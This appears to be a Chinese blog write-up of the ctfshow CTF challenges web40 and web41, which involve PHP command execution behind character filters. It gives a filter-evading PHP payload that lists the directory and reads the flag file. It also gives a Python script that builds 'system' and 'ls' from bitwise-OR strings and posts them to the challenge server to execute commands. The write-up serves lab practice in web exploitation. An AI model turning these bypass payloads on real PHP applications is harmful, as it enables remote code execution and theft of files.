1. 程式人生 > 其它 >ctfshow-web入門命令執行-web40/web41(附python指令碼)

ctfshow-web入門命令執行-web40/web41(附python指令碼)

web40

別看這裡過濾了這麼多,其實他過濾的括號是中文括號,這裡我開始納悶了好久

先說一個列印當初路徑下:print_r(scandir('.'))

但是很明顯單引號和小數點已經過濾了,這裡要先辦法繞過

最簡單的方法是利用函式傳參,那就找當前能用包含小數點的函式

還真有:localeconv() 返回一包含本地數字及貨幣格式資訊的陣列

格式:

那麼按找接下來思路就是構造:print_r(scandir(localeconv()[0]))

但是這個函式是不能localeconv()[0]這樣返回的,而且方括號也被過濾了,那麼就要用到別的函式

  • current() 函式返回陣列中的當前元素(單元),預設取第一個值,
  • pos() 同 current() ,是current()的別名
  • reset() 函式返回陣列第一個單元的值,如果陣列為空則返回 FALSE

這裡三個函式都可以用

因此列印當前目錄:print_r(scandir(current(localeconv())));

這裡可以的用next()

輸出陣列中的當前元素的下一個元素的值,也就是可以輸出第二個(還有end可以輸出最後一個)

但是flag在第三個怎麼辦?可以用array_reverse函式

這個函式就是將陣列轉置;

最終payload:highlight_file (next(array_reverse(scandir(current(localeconv())))));

web-41

分析正則,貌似過濾了所有數字和小寫字母,後面還有個/i,大寫字母也沒了

其實看到這種全過濾,反倒是隻有一種解法,就是構造字串

& 按位與 |按位或 ^ 按位異或 ~取反 為四大位運算子,其中按位異 | 沒有過濾,過濾的字元是防異或、自增和取反構造字元

寫個指令碼

import re
import requests

url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp 
= re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I) if(tmp): continue #print(tmp.group(0)) else: a.append(i) # eval("echo($c);"); mya="system" #函式名 這裡修改! myb="ls" #引數 def myfun(k,my): global ans1 global ans2 for i in range (0,len(a)): for j in range(i,len(a)): if(a[i]|a[j]==ord(my[k])): ans1+=chr(a[i]) ans2+=chr(a[j]) return; for k in range(0,len(mya)): myfun(k,mya) data1="(\""+ans1+"\"|\""+ans2+"\")" ans1="" ans2="" for k in range(0,len(myb)): myfun(k,myb) data2="(\""+ans1+"\"|\""+ans2+"\")" data={"c":data1+data2} r=requests.post(url=url,data=data) print(r.text)

cat flag.php

這裡坑主要是 他執行格式是 (system)(ls)這樣,貌似是php7支援的動態函式執行啥的

其他就是注意字元轉換,指令碼不難寫